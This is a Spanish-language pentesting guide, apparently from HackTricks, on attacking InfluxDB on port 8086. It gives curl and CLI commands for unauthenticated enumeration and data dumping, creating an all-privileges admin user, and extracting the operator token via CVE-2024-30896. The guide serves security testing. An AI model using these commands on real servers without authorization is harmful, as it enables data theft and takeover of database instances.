8086 - Pentesting InfluxDB

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Información básica

InfluxDB es una base de datos de series temporales (TSDB) de código abierto desarrollada por InfluxData. Las TSDB están optimizadas para almacenar y servir datos de series temporales, que consisten en pares marca de tiempo-valor. En comparación con bases de datos de uso general, las TSDB proporcionan mejoras significativas en el espacio de almacenamiento y el rendimiento para conjuntos de datos de series temporales. Emplean algoritmos de compresión especializados y pueden configurarse para eliminar automáticamente datos antiguos. Los índices especializados de base de datos también mejoran el rendimiento de las consultas.

Default port: 8086

PORT     STATE SERVICE VERSION
8086/tcp open  http    InfluxDB http admin 1.7.5

Identificar & Versión (HTTP)

  • v1.x: GET /ping devuelve el estado 204 y cabeceras como X-Influxdb-Version y X-Influxdb-Build.
  • v2.x+: GET /health devuelve JSON con la versión del servidor y el estado. Funciona sin auth.
# v1 banner grab
curl -i http://<host>:8086/ping

# v2/compat health
curl -s http://<host>:8086/health | jq .

Consejo: las instancias expuestas a menudo también sirven métricas al estilo Prometheus en /metrics.

Enumeración

Desde el punto de vista de un pentester, esta es otra base de datos que podría almacenar información sensible, por lo que es interesante saber cómo dump toda la información.

Autenticación

InfluxDB puede requerir autenticación o no

# Try unauthenticated CLI (v1 shell)
influx -host <host> -port 8086
> use _internal

Si recibes un error como este: ERR: unable to parse authentication credentials significa que está esperando algunas credentials.

influx –username influx –password influx_pass

Hubo una vulnerabilidad en influxdb que permitía omitir la autenticación: CVE-2019-20933

Enumeración Manual (v1 HTTP API / InfluxQL)

Incluso cuando no hay CLI disponible, la HTTP API suele estar expuesta en el puerto 8086.

# List databases (unauth)
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW DATABASES"

# List retention policies of a DB
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW RETENTION POLICIES ON telegraf"

# List users (if auth disabled)
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW USERS"

# List measurements (tables)
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW MEASUREMENTS"

# List field keys (columns)
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW FIELD KEYS"

# Dump data from a measurement
curl -sG "http://<host>:8086/query" \
--data-urlencode "db=telegraf" \
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5' | jq .

# Force epoch timestamps (useful for tooling)
curl -sG "http://<host>:8086/query" \
--data-urlencode "epoch=ns" \
--data-urlencode "db=telegraf" \
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5'

Warning

En algunas pruebas con el authentication bypass se observó que el nombre de la tabla debía ir entre comillas dobles como: select * from "cpu"

Si la authentication está desactivada, incluso puedes crear usuarios y escalar:

# Create an admin user (v1, auth disabled)
curl -sG "http://<host>:8086/query" \
--data-urlencode "q=CREATE USER hacker WITH PASSWORD 'P@ssw0rd!' WITH ALL PRIVILEGES"

La información del siguiente ejemplo de CLI fue tomada de here.

Mostrar bases de datos

Las bases de datos encontradas son telegraf y internal (esta la encontrarás en todas partes)

> show databases
name: databases
name
----
telegraf
_internal

Mostrar tablas/measurements

La InfluxDB documentation explica que measurements en InfluxDB pueden compararse con las tablas SQL. La nomenclatura de estas measurements indica su contenido; cada una almacena datos relevantes para una entidad concreta.

> show measurements
name: measurements
name
----
cpu
disk
diskio
kernel
mem
processes
swap
system

Mostrar columnas/claves de campo

Las claves de campo son como las columnas de la base de datos

> show field keys
name: cpu
fieldKey         fieldType
--------         ---------
usage_guest      float
usage_guest_nice float
usage_idle       float
usage_iowait     float

name: disk
fieldKey     fieldType
--------     ---------
free         integer
inodes_free  integer
inodes_total integer
inodes_used  integer

[ ... more keys ...]

Dump Table

Y por último puedes dump the table haciendo algo como

select * from cpu
name: cpu
time                cpu       host   usage_guest usage_guest_nice usage_idle        usage_iowait        usage_irq usage_nice usage_softirq        usage_steal usage_system        usage_user
----                ---       ----   ----------- ---------------- ----------        ------------        --------- ---------- -------------        ----------- ------------        ----------
1497018760000000000 cpu-total ubuntu 0           0                99.297893681046   0                   0         0          0                    0           0.35105315947842414 0.35105315947842414
1497018760000000000 cpu1      ubuntu 0           0                99.69909729188728 0                   0         0          0                    0           0.20060180541622202 0.10030090270811101

InfluxDB v2.x API (Token-based)

InfluxDB 2.x introduce token-based auth y una nueva API (todavía en 8086 por defecto). Si obtienes un token (leaked logs, default deployments, backups) puedes enumerar:

# Basic org, bucket, and auth discovery
TOKEN="<token>"; H="-H Authorization: Token $TOKEN"

# Health & version
curl -s http://<host>:8086/health | jq .

# List organizations
curl -s $H http://<host>:8086/api/v2/organizations | jq .

# List buckets
curl -s $H 'http://<host>:8086/api/v2/buckets?limit=100' | jq .

# List authorizations (requires perms)
ORGID=<org_id>
curl -s $H "http://<host>:8086/api/v2/authorizations?orgID=$ORGID" | jq .

# Query data with Flux
curl -s $H -H 'Accept: application/csv' -H 'Content-Type: application/vnd.flux' \
-X POST http://<host>:8086/api/v2/query \
--data 'from(bucket:"telegraf") |> range(start:-1h) |> limit(n:5)'

Notas

  • Para v1.8+, existen algunos endpoints compatibles con v2 (/api/v2/query, /api/v2/write, /health). Esto es útil si el servidor es v1 pero acepta peticiones estilo v2.
  • En v2, el header HTTP Authorization debe estar en la forma Token <value>.

Enumeración automatizada

msf6 > use auxiliary/scanner/http/influxdb_enum

Vulnerabilidades recientes y privesc de interés (últimos años)

  • InfluxDB OSS 2.x hasta 2.7.11 — exposición del operator token (CVE-2024-30896). Bajo condiciones específicas, un usuario autenticado con acceso de lectura al recurso de authorizations en la organización predeterminada podía listar y recuperar el operator token a nivel de instancia (p. ej., vía influx auth ls o GET /api/v2/authorizations). Con ese token, el atacante puede administrar la instancia (buckets, tokens, users) y acceder a todos los datos entre organizaciones. Actualice a una versión corregida cuando esté disponible y evite colocar usuarios regulares en la org predeterminada. Prueba rápida:
# Using a low-priv/all-access token tied to the default org
curl -s -H 'Authorization: Token <user_or_allAccess_token>' \
'http://<host>:8086/api/v2/authorizations?orgID=<default_org_id>' | jq .
# Look for entries of type "operator" and extract the raw token (if present)
  • Muchas implementaciones legacy 1.x aún exponen /query y /write sin autenticación en Internet. Si auth está deshabilitada, puedes volcar o incluso modificar series temporales a voluntad; también puedes crear admin users como se mostró arriba. Verifícalo siempre con la HTTP API incluso si la CLI te bloquea.

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks